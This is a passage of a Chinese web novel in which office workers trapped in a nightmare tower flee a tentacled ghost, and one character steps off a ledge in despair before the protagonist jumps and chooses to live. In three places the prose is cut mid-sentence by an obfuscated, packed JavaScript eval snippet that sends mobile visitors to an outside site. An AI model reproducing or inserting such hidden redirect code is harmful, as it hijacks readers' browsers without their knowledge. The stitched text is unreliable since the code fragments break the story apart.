“这可怎么办?”小晴说出在场几人的心声,“要是贸然出去,没在规定的时间内赶回来,我们岂不是会失散?” 尤其他们的目标是第四层,他们能确保在4分钟内完成任务回到卫生间吗? “放心吧。”却是尉迟龙鸣道,脸上露出胸有成竹的微笑。 毕竟是行走魇境的老江湖了,身上还能没有点沉淀? 他从口袋里掏出几个东西,分给在场几人。 “这是耳麦。”他话里不无得意,“专门在魇境里通讯用的,就是为了应对类似的情况。” 苇思航又知道了,灵界里除了有特殊能力,还有特殊用品,比如这个耳麦。 尉迟龙鸣道:“含晦,你一会留在这里操作电脑,以便即时告诉我们情况,卫生间跳到哪一层,你随时告诉我们,我们再到对应的楼层找你,不就完了?” 卫生间里又静了一下。 真不是苇思航故意……好吧,故意不吐不快:“我们怎么到对应的楼层?” 卫生间的战略地位是有理由的! 真以为剧组之间是楼上楼下的关系啊? “这……大不了多走两步楼梯呗。”显然尉迟龙鸣就是那样以为的,一副理所当然的表情回答。 苇思航:“楼梯鬼打墙。” 尉迟龙鸣:“……那电梯呢?” 苇思航:“你坐过吗?” “……没。” 是吧!狗都不坐! 苇思航皮笑肉不笑:“那祝你好运咯。” 换她宁愿死在卫生间门口,等跳转到本层都比坐电梯强! ——记住这句话,因为她很快就要食言了。 25. 24. 黑池(十七) 卫生间规则改变,然而已经定下的计划已经箭在弦上,不得不发。 众人一致同意,让含晦留在卫生间,负责天眼和通讯。别看人仙风道骨,一身土绿保安皮在身,负责的可是高科技兵种! 遥想含晦道长生前还在道观时,就曾通过课外学习的编程知识,独立设计了观里的小程序,“符篆编程师”可不是浪得虚名! 此时,他经过一番眼花缭乱的操作,打开一串密密麻麻的代码后台,有些惊讶地发现计时器自动激活的预设也包含在其中。他表情认真:“我想想办法,试试能否改成定向跳转,有进展我会同步大家。” 他的声音清晰地通过苇思航戴好的耳麦传来,仿佛近在咫尺的回声。 除了含晦,尉迟龙鸣、苇思航、小晴齐齐出动。 小晴也自告奋勇要出去,倒让人很是意外。 “别小看我!”小晴一口回绝尉迟龙鸣和苇思航的劝阻,鼻头又出了一层细细的汗,“在苇姐你们来之前,我和梁……含晦之间就是这样分工的!我在外面的经验不比你俩少!” “反正我待在这里也帮不上什么忙,不如一起去呢,人多力量大……” 尉迟龙鸣爹味大爆发:“不听劝!我光顾着苇思航一个就够烦的了,一会可顾不上你!”说罢,像个面对青春期女儿的气急败坏的父亲那样拂袖而去。 小晴闷闷踱步到苇思航身旁,小声嘀咕:“切,谁要他顾了……” 苇思航正低头系着鞋带——哦对,鞋子。 第一次异常跳转时,她眼疾手快,隔着门从六层尸体脚上扒下来的(……)。 “能穿吗?”小晴顺嘴问了一句。 苇思航把鞋带系紧,紧到不能再紧,幸而那人之前应该是和谢阳一样跑业务的,穿的轻便的运动鞋,要是皮鞋的话,可就真就没法穿了。 “凑合吧。”苇思航回答。 苇思航38码的脚,那人41码的鞋,鞋带系到最紧,还是大,快跑估计还是不行,不过总比没有强。苇思航一瞥眼,顺便看到了小晴的脚,她袜子外面是一双黑色平底单鞋。 别说,小晴的脚看上去也很大啊…… 可能因为她个子比较高,别看脸长得稚嫩,身高目测超过了一米七,不过有点太瘦了。之前因为总和高大壮汉尉迟龙鸣一起比较,苇思航还不觉得,这样一看,不禁感叹现在年轻小孩的营养真好啊。 “没事儿,苇姐,咱们一会不用跑,一路都稳稳当当的,去不了多久就平平安安回来!” 苇思航被她逗笑了。 小晴亲昵地凑到她身边耳语:“要是到时候谢阳又中邪了,你放心,苇姐,我肯定站你这边!” ——管幽灵失去理智变成邪灵的过程叫“中邪”,倒很贴切。 苇思航也不知道小晴是嘴甜还是淬了毒,心里出了口气的同时,往尉迟龙鸣那边看了一眼,嘴里却道:“其实吧,农民哥人不坏的。” 斗嘴归斗嘴,一会儿到了外面,就是并肩作战的队友。 小晴应了,不过表情似乎有点扫兴。 苇思航站起身来,动了动松松垮垮的右脚,转着脚腕,盯着死人的运动鞋看了半天。 “苇姐,咋了?” 苇思航忽道:“你看这鞋,什么牌子的?这logo对吗?” 她怎么看怎么都好像有点奇怪…… 小晴一脸茫然。苇思航按下心中疑虑不表,正好在此时,卫生间又一次跳转,这次到了——第四层。 “下一次我会尽量锚定在21层……我试试。”含晦道,他也不能确定,这次跳转还是随机的,又或是他修改的代码起效果了,“一会我告诉你们在哪里碰头。你们快去快回!” 三人走出卫生间。 * 尉迟龙鸣手中握着他的大刀,警惕地走在最前面,苇思航让小晴走在中间,自己断后。 小晴落下几步,变成和苇思航并行。 “苇姐……这里好黑啊……”小晴的声音有几分瑟缩。 走廊上的灯光约等于没有,不远处的办公区也熄灯了,只有电梯口的灯还亮着。 现在已经是晚上11点多,也该下班了。 ——真的是下班了吗? 这也太黑了。 “啊!”小晴发出一声短促的尖叫,她脚下踢到了一个东西。 还残有余温的,尸体。 “嘘!”尉迟龙鸣转过半边身子,严厉地瞪视着小晴,又扫了眼一旁的苇思航:“你,管好她!” “……” 苇思航无奈,小晴抱歉地吐了吐舌头。 “含晦,我们现在往哪儿走?” 尉迟龙鸣按着右耳的耳麦,像个生意人扶着自己价值百万生意的蓝牙耳机,这样他就也可以跟含晦说话了。含晦的声音伴随着嘶嘶的电流声,清晰地从三人的耳麦中传来:“我这里屏幕也很黑,等下我调亮度……暂时没看到目标。” 尉迟龙鸣皱了皱眉:“是停电了?怎么灯都不亮了?” 含晦:“看起来是跳闸了。” “电闸在哪里?” “茶水间……等等,那边我好像看到有个人过去了……” “是徐振吗?” “不,不像,好像是个女的。” 尉迟龙鸣当机立断:“我去看看。” 他们这时走到了电梯间,这里的顶灯使用另一套电力系统,因此还能亮着,除此之外的其他地方都一片黑暗。 尉迟龙鸣看着剩下两人,轻蔑地笑了一下:“你俩怕黑,就待在这儿,别乱走,等我一会回来。” 苇思航和小晴对视一眼:“……” 尉迟龙鸣话不多说,转头走了。 苇思航忍不住吐槽:“恐怖片里不能分头行动的道理他难道不知道吗!” 小晴附和:“就是就是。” 苇思航想过,一股脑冲进办公区,凭记忆跑到自己的工位,拿到名单就回来的可能……然而因为那太过浓郁的黑暗,迟迟不敢迈出有光的安全区。 尉迟龙鸣都去看去了,应该不一会就能修好跳闸吧…… 到底心里的怯懦战胜了她。再者,小晴已经先她一步,抵着电梯对面的墙,席地坐下,招呼苇思航:“苇姐,你也来坐呀。” 苇思航却之不恭。 小晴敲着自己的腿:“呼,总算能坐会了。” “是啊。” 他们在卫生间里,碍于卫生状况,只有站着的份。不说那个,在外面跑了一天,苇思航的腿也早就酸胀不堪。 苇思航低头,又看到了自己脚上的鞋子,恍然大悟:“这鞋是萨x蒙的吧?” 小晴低头扫了一眼,跟她闲聊起来,不是很感兴趣:“是吗。这鞋很贵?” 苇思航没回答,只是看着上面的logo发呆,是三叶草吗?她怎么记得是四叶草呢? 她还是从徐振那里听来的呢。 喜欢在办公室里闲聊的徐振,聊明星,聊八卦,聊流行,聊名牌,聒噪的声音像是流行病一样传进耳朵里。 “……那天一起去打羽毛球,你记不记得,他穿了一双三叶草的假鞋,笑死我了,买不起也不能买假货啊!我最看不起这种人了……” 遥远而模糊的回忆…… 苇思航再一晃眼,瞳孔地震。 鞋子上的Logo赫然是四叶草! 难道刚才是她看错了? “苇姐,你在想什么呢?”身边的小晴毫无察觉,还在努力找话聊。 周围黑黑的,心里毛毛的。 “你说,那个徐总不会突然出现吧……”她左顾右盼,漫无边际的黑暗像是有什么东西随时都要跳出来。 比如,传说中的终极boss。 “没什么,别怕。”苇思航只得安慰小晴。 既然说起徐振。 “你觉得徐振是这个梦魇的主人吗?”苇思航道。她大概也是疯了,问一个毫不相干的人…… “我?”小晴果然意外,“我也不太清楚啊……不是你们说的吗……” 苇思航不语,小晴鼓起勇气,又道:“还是说,苇姐你想到了别的什么人选?” “那倒没有。” 小晴亮着星星眼:“苇姐,你对人真好,我觉得你现实中应该很多朋友吧?” 苇思航不禁失笑:“还行……” “现在都流行上班搭子,苇姐你也有吗?” 苇思航想了想:“之前有个小姑娘,算吧……是我公司后辈,一开始是我开顺风车认识的,我们正好住的比较近,后来有一段时间,就经常一起上下班。我后来说免费让她坐我的车,她不听,还是一直坚持要付我车费,很可爱的一个小姑娘……” “那她也在这个梦里吗?” 苇思航摇摇头:“不在。她几年前就辞职,回老家结婚了。” 小晴笑:“原来这样子。” 苇思航把话头抛还给她:“那你呢?你有没有上班搭子?” 小晴却摇摇头:“没有。我都是一个人。”她顿了顿,“也不是,我还有梁栋……” 她话没说完,两人都愣住了。 苇思航提前看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721379|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角色“肖晴”的资料——鉴于公司很多同事她都不太熟悉——21岁,刚毕业,入职不久还没过试用期。可是眼前这个“小晴”非彼肖晴,演员本人怎么会和另一个角色“梁栋”有交集? 小晴也反应过来,很快做了一个鬼脸:“哎呀,估计是回四层了,我又入戏太深。” 原来如此。 “电闸怎么还没修好?哎呀,腿麻了腿麻了……”小晴想站起来,起身到一半,表情扭曲。 苇思航跟着她站起身来,眼疾手快扶了她一把。 “这是要干嘛?” “苇姐,我带你去个好地方。” 小晴扶着苇思航,顺势在她掌心捏了一下,狡黠地冲她一笑,呲牙咧嘴的样子显得很青春,倒是莫名让苇思航想到一个人。 * 苇思航和小晴坐着聊天的时候,一直听到含晦和尉迟龙鸣在耳麦里通讯的声音,含晦一路指挥着尉迟龙鸣前进,听上去进展的还蛮顺利。 不知从什么时候开始,这两人的声音停止了。 “喂?含晦,听得到吗?” “农民哥?喂?” 苇思航按下通话键,那边传来杂音,没有人回复。 出什么事了?苇思航皱起眉头。 一旁的小晴朝她投来询问的目光,苇思航冲她点点头,小晴会意,屁股下面传来机器重新启动的轰鸣,盖过了耳麦的电流声。 好消息,她们坐上车了。 只是这一次,苇思航坐在副驾,由小晴驾驶着一辆双人座清洁车,下方安装的吸尘器正在欢快地运作,精神抖擞地用轰鸣声昭示着周围它的存在。 这是小晴的杀手锏,在苇姐和农民哥两个看起来很能打(?)的出现之前,她就是靠着这辆装备精良的清洁车在楼内横行无忌。 刚才小晴带苇思航去的地方,其实是这楼里每一层都有的清洁间,看到里面放着的可观数量的装备,苇思航的下巴差点掉到地上。 这算什么?值日生福利吗! 这难道就是传说中的装备党? 小晴冲她不好意思地笑:“我本来不想让农民哥知道来着,他估计又要问东问西……对不起。” 提到尉迟龙鸣,估计是想到他一去不回的事了,便有点抱歉。 苇思航忙宽慰她:“没事。又不是你的错。” 有了清洁车的存在,她们在楼层内的行动方便了不少,安全感大大提升。 她们甚至找到了应急手电筒!苇思航人在副驾,手动打灯照亮小车前往的道路。 灯光扫过,地上残留的血痕和尸块惨不忍睹,很明显,不久前这里经过了一次屠杀。 好消息,她们坐上车了。 吸尘器强大的吸力带着一往无前的气势,将地上的血污统统清理干净,功效如同特殊道具——后经小晴证实,确实是那样。苇思航看着咋舌,恐惧似乎也被强力的吸尘器吸去大半。 果然世界上的一切恐惧都来源于火力不足。 她另外的担心——比如这无法掩盖的噪音,会不会吸引邪灵的注意?跟小晴说了,小晴回以高深莫测的微笑:“恰恰相反。” 就像森林里的狮子,从不惧隐藏自己的行踪,小车自带一定威慑功能,一般邪灵听到这个声音,反而会绕道走。 她们先是经过了卫生间,看到门口竖起的“正在维修”的标识,推测卫生间已经跳转,计划一切顺利。 那是在又经过一片死寂的办公区,快要抵达茶水间的时候。 “啪”地一下。 眼前一花,像是上帝在眼前打了个响指,说,要有光。 于是来电了。 她们所在的位置,正好可以看到茶水间的全貌。 这里放着几排桌椅,平时除了接水,中午和晚上也是员工们用餐的地方,类似一个小型餐厅。 一条条惨白的白炽灯挂在头顶,显得周围格外空旷。 一个身穿红色套装的女人站在几排桌椅中间,看上去已经在那里有一会儿了。 她的长发遮住侧脸,正低头专心地切着什么。 太好了,切的是蛋糕——看清她手上的东西,这个发现让人意外暖心。只因除此之外的一切让人如堕冰窖。 白色纸盘在桌上整齐排开,透着一股陈旧,仿佛存放了太久的纸钱,蛋糕倒是雪白的,像新鲜的腻子,红色的瓤大概是草莓味。那女人又切下一块,放在盘子上,手里不小心沾上了红色的果酱,被她贪婪地送出口中。 口红抹出轮廓,艳丽的口器里,一条干瘪的触手代替舌头,极快地一闪而过。 26. 25. 黑池(十八) 红衣女人身上套装的颜色就跟印泥一样鲜红。 短暂的辨认之后,苇思航认出了女人的身份——刘晨曦。 看着眼前的一切,她和小晴完全僵住了。 吸尘器发出的轰鸣,不像狮子的威吓,顿时成了病猫的叫嚣。 一个强大的邪灵!更可怕的是,一个自行其是的邪灵。 说她疯癫吧,又好像残存着理智,没有主动开始攻击。 此时她慢悠悠地切着蛋糕,因为突然亮起的灯光,感到有些恼怒。 “都说了,下午茶还没有准备好,还要我说多少次?”不悦的声音沉闷地从她的喉咙传来。 她转过脸,本该是鼻子和嘴的位置,如今已经被一张硕大的口器取代,喉咙的位置完全暴露在外,无法闭合,一条触手取代了舌头,像浮标一样上下抽吸,给她的身体其他部位带去足够的氧气。 她的目光紧盯着清洁车上呼吸都暂停的二人,仿佛质问,浑浊的眼睛下面两行血泪像是某种图腾。 一定……要回答吗…… 苇思航的大脑一片空白,小晴更是,可怜她本来人设就怕刘晨曦,继呼吸暂停之后,顿时恐慌地呼吸过速,全身像是抽噎一样打颤。 “吵死了!”刘晨曦皱眉,粘液代替了口水,从她闭不上的“嘴唇”之间流了下来。 苇思航抓住小晴的手,尝试传递过去一些安慰,两个人的手都凉的吓人。 她艰难开口:“是……徐总让我来问的,下午茶还要多久?” “徐总?”刘晨曦歪着头,重复了一遍。 “你知道他在哪里?” ——什么意思?刘晨曦也不知道徐振的下落? 苇思航硬着头皮:“嗯。” 刘晨曦没说话,似乎是在思索。 苇思航的心提到了嗓子眼。手指在小晴的手心划着倒计时。 见事不好,转头就跑! 3,2…… 幸而刘晨曦没什么特别的表示:“噢,那你去告诉他,快好了。” 苇思航答应着:“好的。我这就去。”尾音都有点发颤。 如蒙大赦,她想立刻掉头!掉头! 刘晨曦又道:“等下。” 心脏像是坐上了跳楼机,重重下坠。 “来都来了,过来帮我一起呗。” 她的目光直勾勾地,说是“帮忙”,触手舌头却飞快在口器周围滑过,分明是“馋”! 不能过去! 掉头!掉头! 脸上不动声色,苇思航微笑:“可以啊,不过等我先回工位上拿个东西。” “什么东西?一会再去不是一样?”刘晨曦发起牢骚,“让做个事就推三阻四的,全公司就我一个人忙前忙后,真是……” 苇思航给自己打气,P8!她可是P8! 之前刘晨曦不是还对她毕恭毕敬的吗?她也不能怂! “抱歉,是徐总交代的。”她抛下一句。 刘晨曦又不作声了。 果然,她只敢当面阴阳,搬出徐总,屁都不敢放一个。 “那你去吧,让小晴留下帮我。”刘晨曦眼睛提溜一转,转眼有了主意。 更多的涎液从她嘴里流了出来。苇思航感到抓着的小晴的手开始颤抖起来,似乎想要挣脱,她忙握紧一点,安抚,自己也满手的冷汗,几乎要抓不住。 “她跟我一块儿。”苇思航道,语气毋庸置疑,“你要找人帮忙,谢阳刚才不是来这边了吗?你让他帮你呗。” 对不起啊农民哥…… 附近没看到尉迟龙鸣的身影,苇思航心里一边感到抱歉,也是趁着这个机会试探。 “谢阳?”刘晨曦又重复一遍,似是大脑短路,“我没看见他啊。” 那说明尉迟龙鸣还是安全的!苇思航来不及疑惑或者庆幸,忙改口道:“那可能是我看错了。” 刘晨曦皱着眉,心里总感觉怪怪的,拖着脚想要上前一步,高跟鞋掉了下来。她的一只脚像是泡过太久的水那样涨大了,五根脚趾软的不成样子,隐隐也有了变成触手的预兆。苇思航只想转身就跑,好容易才克服那股本能。 “那个……小刘啊!”苇思航突然爆发的声音像是在尖叫。 “……呃?” 苇思航绞尽脑汁,用尽这辈子办公室政治的全部造诣:“那个,少熬夜,我看你这样子,真是太辛苦了!看你舌苔有点发白,估计是有湿气,最近身体不太好吧?等着,我去工位上,给你拿点上次别人送我长白山野生的维C过来!” “苇姐……”刘晨曦在苇思航的嘴炮攻势下,反应不及,几乎有点感动,嘴里的触手缓缓地抽动,苇思航忍着恶心,指挥着手忙脚乱的小晴驾驶着清洁车倒退。 就像来时一样原路返回,慢慢退出怪物刘晨曦的视线,不能直接跑,否则让对方提前觉察出异样……刘晨曦浑浊的眼睛一眨不眨地目送着小车远去,消失在走廊的拐角。 安全了吗? ……1! “苇姐,等等呀……” 已经看不见刘晨曦的身影,身后却传来那个幽幽的声音:“我跟你们……一起去……” “啪!” 电灯忽闪一下,再次熄灭。茶水间里有人拉下了总开关。 无边无际的黑暗重新袭来。 狩猎开始! 清洁小车轰隆隆,轰隆隆地慢速前进。 再次经过来时的办公区,这里重新陷入黑暗之中,借着不远处唯一亮着的电梯间的灯光,看清了附近事物的轮廓。 跳闸之后重新通电,各种设备像是都活了过来。 墙角的打印机首先加入这场黑暗中的合奏,开始有条不紊地执行之前未完成的打印任务,不间断地朝外吐纸。 空调风有气无力地呜咽,强劲的电风扇抡着手臂,带来一场席卷的飓风,吹的刚打印出来的文件漫天飞舞。清洁车在大片翻飞的纯白纸张中气定神闲地通行。 另一股厉风夹杂着寒意,从茶水间沿着长长的过道紧跟而来,一路留下黏腻的痕迹。 清洁小车的履带前进的趋势一缓,被身后追上的东西绊住,无法再向前了。 触手,像是情人温柔的挽留,小车被缠住一侧,不多久失去了平衡,挣扎了几下之后,原地打转,终于无力地投入前者的怀抱。 得手后的触手终于展露出狰狞的真面目,缓缓地收紧,小车如同缴械的猎物,被无力地拖行,在地毯上留下凌乱的痕迹,吸尘器的轰鸣声被盖了过去,成了微弱而模糊的嗡嗡声。 那道人影姗姗来迟,这才出现在拐角处,刘晨曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722281|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好整以暇地追了上来。她口器的裂口张到最大,从中伸出的粗壮的触手,和她的身体相比完全不成比例。与其说触手像她的长舌,倒不如说触手成了此刻的主体,连接着两端——一端深深扎进清洁车的内部,一端则拖着踉踉跄跄的刘晨曦的身体。 “咦?”口器里发出疑惑的一声。 那两个人呢? 没有尝到美味的血肉,让她大为光火,好饿…… 触手气的挑起清洁车,狠狠抡向一边,机械瞬间变形破裂,发出震耳欲聋的声音,一旁的打印机也被无辜波及,吐纸吐到一半,成了绝唱。 那两道人影出现在不远处电梯间的范围——不是苇思航和小晴又是谁?她们早已自行跑出十米开外,感觉到刘晨曦果然追上来了,发疯似的按着电梯的上行按钮。 电梯快来啊! 显示屏上的数字大发慈悲地动了起来,无动于衷她们的焦急,按部就班,1,2…… 早在清洁车退出刘晨曦视野的那一刻,苇思航在小晴手里写下倒计时的最后一笔。 ……2,1! 跳车! 跑! 苇思航拖着腿软成面条的小晴,在陡然降临的黑暗之中,两人朝着亮灯的前方拔足狂奔! 从刘晨曦发现她们,到触手追来,不过短短几秒。 3,4……叮! 电梯门开了,苇思航从来没有像此刻这样觉得电梯是如此亲切,二话不说闪进电梯,狠狠按着关门键。 气急败坏的触手朝着电梯门鞭挞而来,得着不远,苇思航几乎能看到上面的每一个吸盘都像一张疯狂尖叫的人脸。 电梯门缓缓关闭,依然是那样不为所动,慢悠悠的。触手的出击迅猛无比,近在咫尺,电梯门的破感应装置在这个时候该死的灵敏,竟然在它的试探一击下重新朝两侧打开,任触手的尖端攀附上一侧电梯门。 完了…… “关门!”苇思航大喝一声,指挥小晴继续按关门键,眼疾手快,从兜里掏出一只美工刀,朝着触手狠狠刺去! 这一击换做往常,压根伤不到触手分毫,却因为实在出乎意料,害得触手因刺痛瑟缩了一下,深深扎进的美工刀被甩飞了出去。 就是现在! 电梯门终于合上,下一秒,触手再次发出狠狠一击,在金属门上留下一个骇人的凹洞,好歹没有击穿,此时已经无力回天,熟悉的失重感出现,电梯开始上升。 劫后余生的二人靠着电梯门瘫坐下,大口大口地喘息着,连说话也没力气。苇思航觉得屁股下面有个东西——抽出来一看,嚯,这不是她另一只鞋吗? 眼前都隐隐发黑,颇有一种灵魂出窍的感觉,却不影响苇思航此刻表面看上去无比的淡定从容,那只41码的疑似萨x蒙假鞋在刚才狂奔的时候早掉半路上了,她回过神来,长长呼出一口气,拿着自己失而复得的帆布鞋,往脚上套,动作里有股破罐破摔的味道。 反正也出不去了。她想。 因为电梯门消失了。 不是打开,不是碎裂,而是像被某种力量硬生生抹去一般——金属门板上触手留下的凹痕仍在,可两扇门之间的接缝却凭空消失了,仿佛从未存在过。 她们现在身处一个四四方方没有一丝缝隙的铁盒子里,还在继续上升。 27. 26. 黑池(十九) 果然,每次坐电梯,准没好事。 苇思航都觉得自己已经习惯了。 她们本计划坐电梯到21层,卫生间大队事先约定好了在那里会合。 现在,楼层的指示早已到了21层,却诡异地一直停在那里。21,21,21,21……好像没有尽头,铁盒子还在继续上升吗? 发现了异常的二人甚至没有恐慌,苇思航是习以为常,也不知道小晴是因为什么。 小晴抬起头,朝显示屏上跳动的21看了两眼,突然呵呵笑了起来:“我今年21岁。” “……好小,”苇思航懒懒地接话:“唔,我都33了。” 放着眼前的危机不管,两人不合时宜地闲聊起来。 小晴轻松道:“苇姐,那咱们一个属相欸!你也属猴吗?” “嗯。” “那星座呢?我金牛的,苇姐你什么星座?” “我也是。” 小晴笑道:“我就说嘛!咱俩很有缘分!” 苇思航也笑了。 “这是什么?”小晴看到苇思航手里抓了几张A4纸,在膝盖上抚平,翻看起来。 苇思航道:“唔,刚才随手捡的。” 怎么就这么巧?从打印机里飞出来的那些,正好是新鲜出炉的裁员名单。 真是得来全不费功夫。 不过苇思航扫了两眼,没得到什么有效的信息,毕竟她觉得重点应该在之前那张红叉的对象,而不是名单本身。 小晴也好奇地凑过来看,一眼在中间看到了苇思航的名字,像是发现了什么新鲜事。 “苇姐,你也在里面欸!” 苇思航早就知道了,闻言只是淡淡应了声:“嗯。” 大半个公司的人的名字都在上面,反而不在才比较可疑吧? 不过,小晴的名字就不在上面。 当然啊,她才21岁,正是年轻划算的时候。 “苇姐,我一直想问你来着……你是不是不怕被裁啊?”小晴看着苇思航的表情,忍不住问了一句。 “当然了,因为这是梦嘛……”说完,没等苇思航回答,她自己主动找补。 赵梓龙、尉迟龙鸣、刘晨曦等快被梦魇折磨疯了者众要是听见她们此时的对话,恐怕会无语凝噎。 换做平常,苇思航估计对这个问题,打个哈哈就过去了,要是回答不怕,好像显得她比别人优越清高呢…… 她确实不在乎。 每个人都有不在乎的东西,只是她不在乎的好像特别多。工作……也只是因为所有人都要有一个,所以她也有一个,一直干着,丢了这个,还会有下一个——她就是这样想的。反正她一个人生活,总不会饿死,生存不用考虑之后,生活就更不在考虑范围内了,从小到大,她几乎没有什么特别想要的东西。衣食住行……哪有什么行不行的?活着就行。 在这个逃出无望的铁盒子里,时间仿佛被拉长到无限,如果电梯的确还在上升着,她们这个时候,是不是已经抵达外太空了? 她不想敷衍小晴,想了很多,最终只是老实道:“不怕。” 一个显得有些道貌岸然的答案。 “为什么?” ——其实苇思航也想知道为什么。 她摇摇头,如实回答:“我也不知道。” 小晴却像是误会了什么,语带羡慕:“要是我33岁的时候,像苇姐你一样飒就好了。” “什么啊。”苇思航哭笑不得,她没办法说,她还觉得那是她的缺陷呢。 没有一定要达成什么的强烈欲/望,对什么都无所谓的态度……活着是活着,她一直觉得自己活得怪无聊的,没有什么爱好,也没有什么朋友,想起之前系统说过,精神力爆发的机制是强烈的欲望……会不会这就是她精神力不佳的原因? 说到系统…… 对哦……她还有0373。 在灵界,情况好像变得有些不同了。“活着就行”突然变成了奢侈的事。 她要活着,连人带车活着逃出这个灵坟! 小晴感叹完,忽道:“我也不怕。” 苇思航一愣:“当然了,你还那么年轻。” “不是因为年轻,就算我再年长一点,我也不怕——因为我讨厌上班。” 小晴表情十分认真,起到的效果,却是把苇思航逗笑了。 “当然了,没人喜欢上班,小的时候也会讨厌上学,人之常情……” 小晴却没有笑,叹了口气,低低道:“不是那样……我是真的讨厌公司,也讨厌同事……当然,不包括苇姐……我总是一个人。” 在这个卡在21层,还在不断上升的铁盒子里,思绪也像飘到了外太空,只剩下小晴低低的倾诉。 “每个周末晚上我都会哭,每天上班之前都要咬紧牙关,每次站在四楼往下看,总是会有跳下去的想法,只是想到可能摔不死,还要给别人添麻烦,所以还是算了……” “你——”苇思航悚然一惊,瞪大了眼睛看着小晴,小晴的表情平淡的像一张白纸,一点也不觉得自己刚才说的话有多么可怕一样。 ——你为什么会那样想? ——那你为什么不辞职? 那些简单的追问卡在苇思航嗓子眼里,没办法继续问下去,她知道人与人之间到底是不同的。她没资格,就好像不能居高临下责怪赵梓龙谢阳他们为什么一定需要这份工作一样…… “哎呀,”不等苇思航发话,小晴又自顾自笑起来,“是因为苇姐跟我说实话,所以我才说实话的哟!” 她那张稚嫩的脸看起来既熟悉又陌生,眨眼间恢复了之前天真的神气,在苇思航眼中,却已经和之前完全不同了。 四四方方的铁盒子,光滑如镜的六面体表面映出小晴的身影,好像从四面八方将苇思航包围在中间。 苇姐,后悔了吗? 刚才就应该听刘晨曦的话,把她丢下。 反正她总是一个人。 只听“嘭”的一声爆响,原本电梯门所在的那面铁皮在高空解体,呼啸着坠落高空,六面体剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732910|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下五面,外部的暴风瞬间涌入进来。 小晴摇摇晃晃地站起身来,脸上依旧是那种柔软又愉悦的笑意。 “苇姐,放心吧,天快亮了,我会醒来的!还有些事情没有做……明早还得上班呢!”她咯咯笑着,“你好像已经认不出我了呀……现实里,咱们估计再见不着了,除了梁栋,我最喜欢的人就是你了……不过,好在还有灵界嘛!今天之后,我们三个人今后可以永远在一起啦!” 她转过身去,走到风越来越大的边缘,瘦弱的身影在风中不敌地轻晃。 苇思航定在原地,浑身动弹不得,像是力气被抽干了。 “你是……”苇思航的声音被风吹散,看着“小晴”的背影,她没有回头。 铁盒子之下是万丈深渊。 “哪怕有一个人懂我的心情……”小晴喃喃自语,出神一样看着脚下。 早就想跳下去了。 这个梦魇就快要结束了,想到自己醒来即将要做的事情,她的心情反而像上床睡觉一样轻松,连眼皮也没抬,散步一样,一脚踩空。 坠落,像是拥抱深渊! 苇思航眼睁睁看着那一切,完全来不及阻止,心中一片凉意。 她懂。 那种感觉叫绝望。 * 真的……没办法了呀…… 对不起,实在坚持不下去了…… 悬空的铁盒子,好似还在继续上升,那种感觉像是被放逐到了世界的尽头,无边无际的孤独比黑暗还要难以忍受。 消失的那一面充满恶意地给苇思航指明了唯一一条出路。 跳下去!跳下去! 她又一次听到那呼唤的声音。 苇思航一步步挪到边缘,往下看去,像是立于万仞峭壁,其下是熟悉的翻滚的黑水。 就在刚才,小晴在她面前跳了下去,梦魇仍然没有结束。 真的……没办法了呀…… ……3,2,1! 倒计时结束的时候,苇思航紧闭双眼,也纵身跳下。 耳边风声呼啸。 电光火石之际,她脑海中想到了很多。 自从在废弃停车场醒来后的一幕幕,如何来到梦茧大厦,如何被困在地下停车场,魇境中每一次生死考验……乃至不顾系统的劝阻,斩断后路再次进入灵坟…… 陆萌,含晦,尉迟龙鸣,赵梓龙,小晴…… 反而是来到灵界之前的33年的平淡人生,在回忆中模糊不清。 直到这一刻,她一点都不后悔。 如果这一切都只是一场梦…… ——如果这只是一场梦,她睡着了都要坐起来,好气啊! “活着就行”——她过往33年对自己少的可怜的要求。被压缩到了极致的欲/望,如同精打细算积攒的硬币,是否也该到了要取现的一天? 就是说啊……要活着啊! 身在下坠的半空,苇思航猛地睁开眼,强风像刀子一样割着她的角膜,那双明亮的眼中几乎要迸出火星! 28. 27. 黑池(二十) 半空中漂浮着不明物体,一个四四方方的铁盒子,其中一面大敞着。 一个人影从中坠落下来,下落的姿态宛如一颗愤怒的小行星,一头扎进汹涌的黑水中。 天上的铁盒子闪了一闪,接着像出现时一样突兀地消失了。 苇思航跌入水里,耳朵在一瞬间失聪,什么也听不到了,黑水下堆积着无数死去的梦灵的残骸,想要伸出手来将她抓住,那场景如同炼狱……她奋力挣脱,憋着一口气,调整姿势,迎着莫大的阻力朝着有光的水面游去…… 